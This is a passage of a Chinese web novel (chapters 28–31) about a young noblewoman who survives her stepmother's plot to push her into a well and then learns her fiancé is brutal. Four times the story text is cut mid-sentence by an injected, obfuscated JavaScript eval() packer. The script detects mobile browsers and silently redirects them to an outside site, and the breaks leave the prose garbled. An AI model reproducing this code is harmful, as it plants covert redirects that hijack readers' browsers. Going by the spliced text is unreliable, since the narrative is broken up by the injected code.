白姨娘哼了一声。只她到底好奇今晚之事，还是跟着陈姨娘进了耳房。 顾姝忍着身上不适，含笑朝白姨娘行了一礼。 白姨娘看她一身狼狈，奇道：“这是怎么回事？” 顾姝简单道：“我被人推入花园中的井中，陈姨娘救了我上来。” 白姨娘看看顾姝，又看看陈姨娘，面露疑惑之色。 陈姨娘不过是个爱占便宜的惫懒货，怎么就能救了大姑娘了？ 顾姝也不跟她解释什么，直接道：“今日之事，还望姨娘能替我们保密。若旁人问起来，还请姨娘与人说，今晚什么人都不曾见到。” “你掉井里，陈姨娘将你救上来，有什么好保密，不能叫外人知道的？” 白姨娘先是不解，后看着顾姝与陈姨娘，露出恍然之色，嘲讽道：“你们倒藏得深。” 随即又对陈姨娘道：“呵，原来，你对先夫人，竟是个忠心耿耿的！”这话听着，竟有些酸溜溜的味道。 顾姝不去理会她的话，只道：“白姨娘可能应允我，不对旁人透露此事？” 白姨娘摇摇头，道：“你们的事，我凭什么要掺合进来？我只管过我的日子，若有人问，我便实话实说便是，何苦给自己惹事儿？” 陈姨娘眉毛一竖，便要说话。 顾姝使个眼色，制止住她，笑道：“既如此，今晚之事瞒不过去，那我只能感谢白姨娘的救命之恩了。” 白姨娘错愕地看着她。 顾姝淡定道：“今天晚上，我被恶人所害，推入枯井之中。烟霞见我没有回去，觉察出不对，听到我呼救。只她一人势单力薄，便又寻了姨娘。姨娘是我母亲旧仆，感念母亲大恩，对我向来照顾。听到烟霞求助，便慨然出手，将我从井中救了上来。” 28. 第 28 章 顾姝看着白姨娘，微微一笑：“姨娘您瞧，这话是不是很合情合理，叫人挑不出错来？” 白姨娘张口结舌。若顾姝真这么说，叫旁人听着，还当真没有什么错处。 本是陈姨娘的活计，可是安在她身上，却反而更加叫人信服。 她素来是个明哲保身的性子，绝不愿掺合到顾姝的事情中去。只是，若顾姝真这么说，她可真是有理也说不清了。 白姨娘恨恨道：“行了，大姑娘，您倒底是想我怎么办？” 顾姝道：“我方才已说过了，希望姨娘替我保密。既不去告诉旁人，今晚是陈姨娘救了我；也不泄露我与陈姨娘的关系。若有人问起来，姨娘只说，今晚不曾见到我就行。至于旁的，姨娘无需费心。” 白姨娘扫了陈姨娘一眼，不知怎的，忽然觉着心里有些不舒服。 她冷笑一声：“那成。只是，大姑娘，也不能叫我平白担了这么大风险吧？” 愿意谈条件，那便是答应了。顾姝微微松了口气，笑道：“姨娘想要什么？若是想要酬劳，我自然不会亏待姨娘。” 白姨娘不屑道：“你一个月才几个月钱！” 顾姝听得这话，忽然隐隐觉得有哪里不对。 白姨娘却是又接着道：“大姑娘有桩好姻缘，将来是要做伯夫人的。只求大姑娘发达了，将来能照顾些婵儿便是。” 顾姝怔住。 庄夫人蓄意害自已的原因，顾姝也能猜个七八分出来，约摸就是为了毁掉自已的亲事。 顾姝自然不会坐以待毙，任由她毁掉自已亲事。可是顾姝不知道庄夫人那边是否还有其他后手；她实是不确定自已便一定能保住自已的婚事。 与人谈判，首先要的便是守信。她固然可以哄着白姨娘先应了下来，可若是跟高家的婚事真是不成，不能履约。惹得白姨娘恼火翻脸，却更是麻烦。 顾姝思忖一番，才苦笑道：“白姨娘，你可知道，今日将我推到井中的是谁？” 白姨娘早就好奇此事：“是谁？” 顾姝道：“是高妈妈。” 先前便有烟云的事情，后又听了高妈妈与烟云的对话，是以，要猜出庄夫人的谋划，也不算难。 顾姝便同白姨娘解释：“我不妨与姨娘直说，她这般大胆，便是受夫人指使，为的就是害我重病，借着我生病的名义，引高家与我退亲。我自不会坐视夫人毁了我的婚事。可若真事有万一，也盼姨娘莫要怪我失信。” 听了这个消息，白姨娘固然吃惊，可也不觉意外。府中就这么几个人，除了庄夫人，又有谁会对顾姝这个大小姐动手？ 她不由沉吟起来。只是，思前想后，却发现自己到底是被牵扯进来，脱不得身了。便是自己跟庄夫人告状，以自己跟庄夫人的旧怨，难道她能放过自己么？ 思忖再三，白姨娘无奈发现，这么算起来，不叫旁人知道自己跟这事有牵连，竟是对自己最有利的。 既如此，那也只能将话说得漂亮些了：“罢了，我瞧大姑娘，是有个有本事的。便是嫁不得高家，将来也是有大造化的。今日之事，我是绝计不会对外说一个字。也盼着大姑娘，将来能照拂婵儿一二。” 顾姝点头：“婵儿是我亲妹妹，我自然会看护她。” 白姨娘见她态度诚挚，想到顾姝平日里的为人，倒是信了她这话。几人商定好了说词，白姨娘也是有眼色的人，当下便退了出去。 轻手轻脚回了房间，白姨娘看着已睡熟的女儿，摸了摸她的头发，不由轻轻叹了口气。想想过去的哪些事，她喃喃道：“大夫人是好心人。大姑娘也是个有能耐的。庄氏那个贱人那般歹毒，都奈何不得她。如今，我帮她这一回，你将来，也可以多个倚仗了。” 那这白姨娘才走，烟霞也悄悄拿着绳子回来了，又道：“我照姑娘您的吩咐，跟两三个人略略提了姑娘您被人故意推落井中，又嘱咐了她们莫要往外说。” 顾姝忙问：“可有明慎堂的人知道此事？” 烟霞摇头：“没有。明慎堂有几个洒扫的粗使婆子住在后罩院，我特意避开了她几个。” 顾姝这才放心：“只要明天早上之前，不叫明慎堂那边知道消息就成。” 陈姨娘担忧道：“那大姑娘，接下来，要怎么办才好？” 庄夫人害人未成，难保不会再出其他法子。便是不敢害顾姝性命，可是不要人性命，不代表她不能出手段整治顾姝。 顾姝亦是想到此节，她思忖良久，方道：“姨娘，你取笔墨来，我写封信，你找个机会送往高家。” 庄夫人想毁了她的亲事，可这门亲事是高家自已上门求娶的，又岂会愿意平白放弃。 况且韩夫人同母亲是闺中密友，又是自已未来婆母，当是可信之人，此时有难，于情于理，都该找她应援相助。 陈姨娘连声称是：“对，如今出这样大的事，高家是你婆家，自是要知会他家。” 说着，便起身出去了。片刻之后，便拿了笔墨纸砚过来。顾姝将砚滴在烛上烤热了，才用热水化了墨，写下简短一封信。 陈姨娘接过信，扫了一眼，便迟疑道：“姑娘这信，写得是不是太简单了些？” 信上只讲了庄夫人欲害她，继而毁两家亲事，望韩夫人莫要受庄夫人欺瞒上当云云，至于其间细节却是略过未提。 顾姝解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943786|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释道：“高家态度如何，毕竟我们不知道。高家人收到信，若是重视，自然会上门探问详情，到时候再和盘托出也不为迟。可若是高家收了信，不闻不问，那说再多也无用。” 按说高家是她未来婆家，她自该信任，可是一想到高晏，顾姝心中总是莫名排斥，连着高家，也不敢十分相信。是以这封信，措词便十分小心谨慎。 陈姨娘点点头，收了信，郑重保证：“我明日就安排人将信送出去。” 顾姝长吁一口气，随即起身：“好了，咱们回去罢。” 陈姨娘一惊：“什么？姑娘，你还要回瑞萱堂？” 顾姝淡淡一笑：“不回瑞萱堂，我还能去哪里？” 陈姨娘自然不能放心：“可是，若庄夫人她们又生毒计……” 顾姝便安抚陈姨娘：“放心。我听高妈妈话里的意思，她们亦是不敢害我的性命。只要她们还没有胆子杀人，那将事情闹在明面上，她们反而是不好做什么手脚。” 陈姨娘不再说话。她也想不出旁的什么好法子。再者，顾姝这话听上去也颇有道理。 但顾姝出了这等事，行事有条不紊，没有乱了方寸，却叫她心里安定不少。 顾姝安抚住陈姨娘，便不再耽搁，将披风脱下来还给陈姨娘，又悄悄与烟霞二人出了兰葶院。 依旧是烟霞先在前探路，看四处无人，才领着顾姝往园子里走。两人快步前行，留下一串细碎的脚印，旋即又被大片的雪花覆住，不留一丝痕迹。 直走到井边，二人看看四周，见四处无人，这才预备往瑞萱堂去。 只这时顾姝忽然道：“等等，将你借来的绳子给我。” 烟霞不解地把手中的麻绳递给顾姝。 这绳子是新搓的，还没有使出多少毛刺。顾姝将绳子扔到地上，抬抬脚便踩，将绳子染上雪泥。捡起来看看，犹觉得不足，便又将绳子拿到井口，双手抓着绳子在井沿来回磨了两回，直将绳子刮出毛花出来，这才满意道：“行了。” 说罢将绳子递给烟霞：“明儿个还回去罢。” 烟霞点点头。二人这正要走，却远远瞧见一个人影，从花厅一侧的耳房里出来。顾姝烟霞二人赶紧躲到树后，待那人走远之后，才敢出来。 烟霞这回依旧想要走在前面探路，顾姝却止住她，淡定道：“我们都要回去了，怕什么？” 现在想想，其实方才那个人也不必去躲的。总归现在就她跟烟霞二人，便是被人瞧见，也没有什么。 园子就是瑞萱堂外面，离瑞萱堂大门也不过就几步路。 这个时候，瑞萱堂的门已是闩住。 烟霞便上门拍门。 29. 第 29 章 看门的姚婆子探头出来，不情不愿道：“这大半夜的，谁啊？” 烟霞便道：“姚妈妈，是我，烟霞。” 听是烟霞，姚婆子不敢怠慢，便是腹诽她半夜三更地给自已找事儿，脸上亦是挤出个笑容，欲问候几句。 只还未开口，便又看到后头一身脏污的顾姝。姚婆子不由唬了一跳：“大姑娘，这是怎么了？”按说大姑娘这个时候早该在屋里歇下的，怎么还会在院子外头？ 烟霞小声斥道：“噤声！” 姚婆子赶紧捂住嘴巴，只是一双眼睛惊疑不定地在顾姝与烟霞二人身上来回逡巡。 顾姝冲烟霞使个眼色。 烟霞从身上摸出一块银子，塞给姚婆子。 姚婆子伸手接过，只觉手心一坠。这块银子，怕至少也得二两重。 她一张老脸登时舒展开来，正待张口道谢，顾姝开口道：“妈妈，夜深人静，莫要惊动了旁人。” 姚婆子又是一把将嘴捂住，使劲点头。 顾姝露出个淡淡的笑，便往院里走。 只姚婆子年纪大，毕竟有些见识，见她主仆二人这模样，犹疑道：“大姑娘可是遇到什么事了？” 顾姝淡淡道：“自然是有事，只是妈妈还是不知道的为好。” 姚婆子为难道：“若是后头有人问起来，这，这要怎么说？”好歹她也在深宅大院里呆了大半辈子了，这些个谨慎还是有的。 顾姝冷冷扔下三个字：“照实说。” 姚婆子这回彻底放了心。只是再看顾姝与烟霞，却是没有往正屋去，反而脚步轻盈地去了下人们住的耳房。 她不由心下纳罕。只是，不管怎么着，总归不关她的事，她只管看到什么说什么便是。 姚婆子又掂了掂手里的银子，喜滋滋地回屋歇了。 瑞萱堂屋子多，烟霞与烟云两个是大丫头，西边两间耳房，她二人一人一间；其余小丫环便挤在东边另外两间耳房里。 顾姝料想今日烟云必然是要值夜，不会回来的。果然。烟云那间屋子黑洞洞的，显是无人。烟霞拿了自己的衣裳给顾姝换下，又取了水给顾姝洗漱。顾姝草草收拾了一下，这才觉得浑身疲惫。 烟霞微带歉意：“这屋子没有姑娘屋里头暖和，姑娘且将就一夜。” 她又拿了铺盖出来：“姑娘睡里头，我睡外面。” 一晚上发生这许多事，顾姝一直不过强撑着，如今实在撑不下去了，摆摆手道：“无妨。我先歇了。你明日一早叫醒我。”说罢，自己便躺下休息。 只朦胧间，她又想起白姨娘那话“你一个月才几个月钱”，她忽然意识到哪里不对了。 她自懂事起，每个月便是二两月钱。从前在祖母那里，衣物是公中，厨房也随着祖母，用钱之处并不多。是以不觉得有什么。而十二岁之后，陈姨娘便与她私下里联络，隔三差五便补贴她银钱使。后面即使祖母不在了，她打赏下人，去厨房添个小菜，也从不缺钱使。是以，她竟从未想过这一茬：父亲祖母虽然疼爱她，可是，却也从未在私底下补贴过她银钱。若无陈姨娘贴补，单凭公中的份例，她手头是绝不会如此宽裕的。 不过，这也不是什么大事，顾姝心道，父亲公事繁忙，哪里会记得这些小事。而祖母，历来是教育她要勤俭持家的，自然也不会纵容她大手大脚花费银钱。 顾姝想通此节，再抵不住疲惫，酣然睡去。 只余一个烟霞，依然恍若在梦中，却是怎么样也安生不下来。 这一夜，睡不着的，又何止烟霞一个。烟云此时在东厢卧室的脚榻上，同样辗转不能成眠。 好容易挨到天亮，她便依着此前说好的，也不梳洗，一脸慌张跑到主院求见庄夫人。 一见庄夫人，烟云便惊慌失措，跪倒在地：“夫人，我们大姑娘她，她不见了！” 虽则事情是假的，可是她做下这等要命的事，实在是骇怕已极，如今说起这件事，浑身颤抖。外人瞧着，倒是十足十地慌张无措。 一旁的高妈妈便斥道：“你胡说什么！好好儿的姑娘，怎么会不见了？” 烟云一脸的惊惧，急急道：“昨天晚上还好好儿。我服侍姑娘睡下。因着前阵子姑娘夜里睡得不好，我夜间要留心服侍，也是没有歇好。今日姑娘好了许多，我夜里便睡得沉了些。 早上起来，本来唤姑娘起床，竟是，竟是不见人了！” 庄夫人眉毛紧蹙，斥道：“你们这些人，是怎么伺候主子的？好好一个大活人，不见了竟都不知道！” 又吩咐高妈妈：“去带几个人，去大姑娘院子里看看。” 众人皆是愕然，这样的事情真是闻所未闻。几个丫环婆子得了吩咐，赶紧跟在庄夫人身后，声势浩大地往瑞萱堂走去。 这么一行人从主院走到瑞萱堂，自然引来不少人注意，听得是大姑娘不见了，个个惊愕不已。 庄夫人面上焦急，心中却是无比畅快。 嫁到顾家之后，在顾姝身上受到的憋屈，直到今日终于一散而尽。 人命关天，她倒不想置顾姝于死地。再者侯爷出征一趟，回来嫡长女便过世了，这么大的过错，她承担不起。 只不过，顾姝一个弱女子，寒冬腊月，在那井里呆上一夜，湿寒入体，便是不死， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950005|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要大病一场。旁人问起来，只道是顾姝有离魂之症，不慎落井。 那个时候顾姝大病缠身，自顾不暇不说，且高家的婚事没了，还要仰仗她这个继母给她寻婚事，又哪里有力气有本事跟她相斗？ 若侯爷真要追究，便把烟云烟霞几个丫头推出去顶罪便是。 更何况，顾世衡对这个女儿，本也没有多看重。真疼这个女儿，当年也不会答应将她嫁到川西那个地方去。便是想跟高家结亲，还有嫤儿在，这门亲事也跑不了。 庄夫人越想越是开怀，几乎要绷不住笑意。只是念及这会儿人多，还是收拾了心神，露出一脸的焦急之色。 瑞萱堂看门的姚婆子见一大早，这么一大群人浩荡而来，不由惊问道：“这是怎么了？” 一个跟她相熟的婆子悄悄答她：“听说大姑娘不见了。” 姚婆子瞪大了眼睛：“什么不见了？不就在瑞萱堂吗？” 她说这话，众人只当她糊涂不知事。这个时候也没有人理会她。 一行人跟在庄夫人身后，浩浩荡荡直往东厢房而去。 姚婆子也不敢再说话，只是不住摇头，这都是闹的什么事情哟。啧啧，总归她什么也不知道。若真问自家头上，无非是实话实说。 庄夫人志得意满的气势在到了瑞萱堂东厢房，便荡然无存。 顾姝衣着整齐，从卧室出来，见庄夫人这浩浩荡荡一行人，面露诧异，道：“母亲，我正要去向您请安，怎的您老人家却在这个时候过来了？” 庄夫人看着顾姝，面色红润，衣饰整洁，分明是刚刚睡醒的精神模样，却又哪里是在井中冻了一晚的样子？ 她面色一瞬间青白交加，竟不知如何回答才好 后面的高妈妈惊骇不亚于庄夫人，只她还有理智，知道自己的差事出了纰漏，后头庄夫人要如何责罚她还不知道，只是此时，却需得替庄夫人将场面圆过去。 她走上前来，挤出个笑脸道：“大姑娘竟然在。” 她恶狠狠盯了烟云一眼，方继续道：“方才，烟云这丫头禀告夫人，道是大姑娘你不见了，她遍寻了整个瑞萱堂也不曾找到你，着急忙慌地去寻夫人去了。夫人也是被这死丫头的话吓到了，这才赶紧过来看看。” 她又道：“姑娘没事儿可真是太好了。只是，下回莫要再这样乱跑，不然，多叫夫人担心！” 顾姝面上更是不解：“我一直在房间好好儿的，哪里有乱跑？烟云这丫头，却是为何说我不见了？” 她盯着烟云，不悦道：“烟云，我一早便寻你不着。不想你却去母亲那里胡说八道，莫非得了臆症不成？” 30. 第 30 章 烟云几乎要瘫软在地。 她哪里知道这是怎么回事？她与高妈妈二人亲手将顾姝推到井中，之后自已便回了瑞萱堂，顾姝也确实一夜都不曾回来。 这，这，她这又是从哪里冒出来？ 庄夫人自也不明白其中原委，但她清楚，自己这回算计怕是落空了。 她深吸一口气，勉强笑道：“没事儿便好。烟云这丫头，真是胡闹，不成样子。” 她狠狠剜了烟云一眼，这才又转向顾姝，挤出个笑脸：“姝丫头，你且在房间好生歇息。烟云，你随我来！” 她几乎是咬牙挤出这几个字。 烟云整个人似是都傻了，面上神情怪异，不知是哭还是笑。 回到正院，遣去众人，高妈妈跟烟云两人扑通跪在地上，张惶不已。 高妈妈赌咒发誓：“昨儿个晚上，我是亲手将她推到井里的，又等了一会儿，见她彻底没见了动静，才敢离开的。绝不敢有半点欺瞒！” 烟云浑抖若筛糠，只知道附合高妈妈的话：“正，正是如此！奴婢跟高妈妈二人一起。妈妈抬着肩，我抬着腿，我记得真真的，再做不了假！” 庄夫人气得几乎气都不顺了，问高妈妈：“那昨晚上，你可看到院子周围有无旁的人在？” 高妈妈忙赌咒发誓：“我小心着呢，一直留意着，并不曾看到旁的什么人！” 实则那个时候，她亦是心慌意乱。将顾姝扔到井里，确认了她没有动静、彻底晕过去之后，便带着烟云急急走了，根本没有顾得上去留意一旁有没有人。 只是这时候，高妈妈又哪里敢说实话。 庄夫人目中寒意森森：“没有人，难道顾姝那丫头能自己跳出来不曾！” 高妈妈恍然醒悟：“大姑娘被我们扔进井里，这事儿真真的。单凭她自已，绝不可能从井里出来。定是有人帮她！夫人，一定是有人暗中助了大姑娘！” 庄夫人咬牙切齿道：“去查！看倒底是谁，将她从井里弄出来的，又是怎么回的院子！” 她忽地意识到：“她既是在院子里，那看门的婆子定然知道她什么时候回去的。瑞萱堂看门的是谁？把她叫过来！” 高妈妈不敢耽搁，从地上起来，连滚带爬地去了。 庄夫人看着她狼狈的身影，直恨不得亲手撕了她。 高婆子这个蠢货，这等要命的大事，竟还这般粗忽！ 一旁的烟云颤声问：“夫人，那奴婢呢？奴婢，奴婢可不能再回瑞萱堂了……” 她做下这等要命的事情，实在不敢再回瑞萱堂。 庄夫人瞧着这个成事不足的东西，恨不得一脚踹她个窝心脚。只是这个时候，却不好轻举妄动，少不得要安抚住，免得她到处乱说。 她压住火气，道：“罢了，回头叫人说我这里要人，要留你在我这里。你且不要回瑞萱堂了。” 烟云感激涕零磕头不提。 瑞萱堂里。顾姝听着烟霞的回话：“方才我已同厨房几位管事妈妈知会过了，若是大姑娘的膳食上出了什么差子，将来等侯爷回来，她们可是绝脱不了干系的。” 她又补充道：“姨娘那头，也寻了几个厨房相熟的杂役，叫她们帮忙留意着些厨房的动静。” 顾姝稍稍放下心。她如今最怕的是庄夫人一计不成，再生毒计。她已使烟雨去明慎堂告假，只道自已近日不适，不去明惧堂请安。庄夫人亦无话可说。 如今又厨房那边传了话，虽不敢保万全无虞，好歹庄夫人若想在膳食里害她时，厨房诸人心里也会有思量。 她喃喃道：“如今，也只能小心谨慎了。” 烟霞却又小声道：“我今日见了樊妈妈，她说有要事需得跟姑娘和姨娘商量。” 顾姝的心又提了起来：“可说了是何事？” 烟霞道：“是有关高家的事。” *** 夜半。顾姝几人再次聚在兰葶院耳房中。 樊妈妈脸色极难看，将刘鲤查出来的事情一字不漏地转述出来。 顾姝还未说话，陈姨娘已是骇然出声：“怎会如此？” 她随即压低了声音：“韩夫人我是认识的，从前在闺中，也算温婉知礼，怎么养出的儿子，竟然是这么个秉性？” 樊妈妈道：“刘娘子也是怕弄错了人家，误了姑娘终身大事。是以，又特意托了何家人，在送人过去时，偷偷找了下人打听。果然……” 她叹了口气，看了顾姝一眼，道：“那两个丫环，都是高公子打死的。据说，高晏其人，实在是暴虐非常。是以，刘娘子便叫我问问姑娘的打算，这信，可还要送给高家？” 顾姝垂下眼帘。浓长的睫毛在面上投下浅浅的阴影。 她面上虽还镇静，心里却是如坠了巨石一般。 实是没有想到，自已期盼多年的未婚夫，竟然是这样的人品。 只是她忽然想起那日高晏带给自已的，难言的排斥与厌恶，竟又觉得今日的消息，似也不那么叫她震惊意外了。 她定了定心神，转眼看向陈姨娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954686|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“姨娘，莫怪我冒犯。我想知道，那刘娘子，是什么人？是否可靠？” 陈姨娘倒不觉得顾姝这般问有何不对。婚姻大事，如何小心都不为过。况且顾姝自小自跟自已打交道，樊妈妈也是近来才有接触。刘鲤更是连见过都没有见过，有此疑问也难免。 她便将刘鲤的来历说了：“刘姐姐是直隶人士，七八岁时被卖到咱们周家。后面做了便做了夫人的贴身丫环。只是后来，她有个姑妈打听到她的下落，因她姑妈自已没有孩子，便求到咱们老夫人，也是姑娘您的外祖母跟前，想给她赎身。老夫人念着她向来服侍得好，人又是个极实诚的，便免了她的身价银子，又赏了她二十两银子，叫她跟着她姑妈走了。” 她又补充道：“我比夫人小一岁，刘姐姐比夫人大两岁。我七岁进府，跟她一起服侍姑娘。与她也可说是一同长大的情份。” 顾姝点点头：“不是说后面出府了么？姨娘还与她这般熟悉？” 陈姨娘便道：“是，刘姐姐与她姑妈，都是实诚人。刘姐姐十六岁那年出府之后，她姑妈感激府里，也经常过来请安。后来，她跟夫人前后脚成亲，也没有断了来往。因她接了她姑妈的位子，做了官媒，消息灵通，有什么信儿，便往府里送。” 陈姨娘回想往事，不由也有些感慨：“夫人故去之前，其实安排了两三家人在外头，好给大姑娘做个帮衬。只那些人，后面都陆续离京了，反而是当年刘姐姐这个早早出府的故人，这么些年，一直在外头帮忙照应着。” 顾姝沉默片刻，这才问：“这么说，这位刘娘子，是值得信赖的可靠之人？” 陈姨娘斩钉裁铁道：“大姑娘，刘姐姐或许消息有误，但她本人，是绝不会骗我们的。” 顾姝露出一丝苦笑：“可是，姨娘，这消息，当真有误吗？” 陈姨娘语塞。此等大事，刘鲤又是特意确认过之后才传信过来，想来，再不会有假了。 她神情黯淡下来。 倘若一开始知道高晏是这个性子，也就罢了，这般人品，自然不能让大姑娘跳进火坑。 可偏偏见到高晏的相貌俊美，高家又封了伯爵，这么好的良婿人选，转眼成了恶狼般的暴虐之徒，这其间落差，又怎么叫人受得了！ 顾姝反倒是先平静了下来，道：“既如此，就劳烦妈妈再给刘娘子送个信儿，叫她将信烧了罢，不必再送到高家了。” 她摁捺住心中翻腾的情绪，淡淡一笑：“既如此，莫说信，便是高家这桩婚事，也无需再要了。” 31. 第 31 章 高晏性情暴虐，那这婚事便无保全的必要，信自然也不必再送。 陈姨娘与樊妈妈对视一眼，又齐齐看向顾姝：“大姑娘……” 顾姝反倒是觉着奇怪：“你们两个，这般看我做什么？” 陈姨娘不由讪讪：“这不是没有想到你会愿意退婚吗？” 樊妈妈亦是道：“从前陈姨娘劝过你多少次，道是川西山高路远，你嫁过去是要吃苦头的。姑娘却一直态度坚定，不肯拒婚。我们只以为你是一门心思要嫁到高家呢！” 顾姝沉默半晌，才轻声道：“高家，是母亲给我定下的婚事。我作为女儿，自当孝顺亲长，顺从母命。而母亲与父亲都应下这门婚事，定是希望我嫁入好人家，过上好日子。如今高家显然不是良配，便是母亲在世，想来也不会叫我与这样的人成婚。我又何苦自己跳入火坑，这岂不是辜负了母亲原本为我着想的慈爱之心？” 陈姨娘与樊妈妈连连点头，陈姨娘便道：“姑娘说得极是。高家那边，咱们便不理了。” 她又叹气：“只是可恨，姑娘的大好芳华，却是硬生生被高家耽误了……”高家亲事不成，顾姝便需另择亲事，一则年龄已大；再则，难保庄夫人不会再生事阻挠。 顾姝安慰她：“却总比嫁过去之后，才发现他是何等人品要好罢。” 她一锤定音：“若夫人再有其他算计，毁了我与高家的婚事，那便由得她去。若她就此收手，就待父亲回来之后，我自与父亲说，退了与高家的亲事。” 陈姨娘与樊妈妈也再无二话，三人又商量了几句，方自散去。 烟霞为免引人注意，也不提灯笼，总归这两日雪还未化，到处白茫茫一片，映着月色，视线颇为清楚。 她边走边轻声道：“我晚间送了姚妈妈半只烧鸡，一壶好酒。想来她这会儿也吃醉歇下了，咱们等下回院时，推门小声些，她定是不会知道。” 哪怕是醒着，这老婆子怕也会装作不知。 烟霞又想起一事，道：“姚婆子还说，高妈妈今日问她姑娘那晚的行踪，她照实答了。” 顾姝点点头：“不错，实话实说便是。”她嘴角微微翘起：“高妈妈查问的人越多越好……” 高妈妈问询的人着实不少。 她先去问了姚婆子当晚顾姝回院的情形，又问了园子里的下人，后罩房的仆妇，最终得出一个叫她意想不到又极是合情合理的答案。 那日烟霞本是告病请了假的，到了晚上觉得好些了，便又回了瑞萱堂当差。却是听烟云道，姑娘已是歇下，晚上自已不必再值夜。 烟霞因着病未好透，并不敢留在瑞萱堂，本欲再去后罩院歇一晚上。待出了瑞萱堂，竟是隐隐听到有人呼救。她循声到了井边，才知道大姑娘落了井。烟霞当即便去后罩院跟人借了绳子，将姑娘拖了上来。然后便带着姑娘回瑞萱堂耳房歇了一晚。 听完这个结果，庄夫人狠狠瞪了烟云一眼。 她人就在瑞萱堂，可烟霞光明正大地把顾姝带回去，又好好地睡了一晚上，这个废物竟是一点没有察觉！ 烟云哆哆嗦嗦低下头。 高妈妈跪在下首，看着庄夫人的脸色，试探道：“夫人，难道此事就这么算了？” 庄夫人哼道：“你自己将差事办砸了，还来问我？” 高妈妈情知自己将顾姝得罪狠了，如今也只能是一条道走到黑，将人彻底治住，才能保自已安全。 她忙道：“夫人，事已至此，便是收手，等侯爷回来，大姑娘若是告上一状，咱们要怎么办？总归事情已做下，不如彻底了结。” 庄夫人不耐烦道：“她如今好好儿的，我还能拿她怎么办？” 高妈妈道：“最重要的，不过是退了她跟高家的亲事罢了。虽则事未成，但也不是没有办法……” 第二日，府里便请了郎中过来，给各位主子请平安脉。 对着顾姝，不过略号了号脉，倒是没有多说什么，只道大姑娘身体康健，无甚大碍。 只是对着庄夫人，这郎中却脸色凝重：“府上姑娘脉象芜杂兼浮，左寸细濡，神思不合。加上夫人之前所述症状，当是离魂之症。患此症之人，常有夜游之事而己不自知。” 庄夫人大惊失色：“怎会如此？那这病要如何医治？” 郎中直摇头：“却是无甚好办法。也只能叫下人人夜间看紧些，若真再有夜游之事，紧看着些，莫出了意外就是。至于医治，却恕在下无能了。” 庄夫人一脸无奈，喃喃道：“这，这可如何是好？” 却也无奈，只有将大夫送出府去。 只这还未完，过了一日，又有位道婆进了定远侯府。 高妈妈殷勤领着人进了园子，介绍道：“唉，不瞒王仙姑，前天晚上，不知道怎么的，我们家大姑娘，夜里竟就自己出了院子，落到了井里。还是她的丫环发觉不对，将人拉了上来。 也亏得丫头警醒，不然，这天气，若是没有人发现，在井里待上一晚，可要怎么办？我们夫人担心得不行，生怕是有个什么邪祟做怪，才请您老来看一看。” 王道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960334|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆神情严肃，四处看了一圈，方道：“此处阴气甚重。大姑娘年纪轻，压不住，受这阴气侵蚀，迷了神智。待我做个法，压一压，以后便可无碍。” 高妈妈忙不叠道：“那敢情好，那就多谢您老了。” 于是那王道婆便大张旗鼓地在园子里做了一场法事。 这王道婆因着术法灵通，在高门大户的女眷之间很受追捧。她在定远侯府里做了这么一场法事之后，短短几天之内，定远侯府大姑娘，患有离魂之症一事，便传遍京城。 忠毅伯府诸人自然也听说了这个消息。旁人不知，他家却是再清楚不过其中内情。 韩夫人对着高晏得意一笑：“我就说罢，不用咱们操心，那位庄夫人，自会把事情解决掉。” 韩氏与高景川商议了一下午，皆是觉得，比起顾姝，顾嫤是更好的人选。庄夫人既已把台子搭好，高家便不妨顺着唱戏就是。只不过，退亲归退亲，顾家若想再嫁个女儿过来，便得好生谈谈了。 到得那时，却不是高家求着顾家，而是她庄夫人，要求着高家了。 韩夫人便带上庚帖，又备了些礼物，施施然往顾家去了。 见了面，两位夫人皆是面带忧色。韩夫人更是一脸痛惜与歉疚：“真是没有想到，好好儿，这孩子竟是得了这病。” 庄夫人勉强笑笑，神色颇为憔悴。 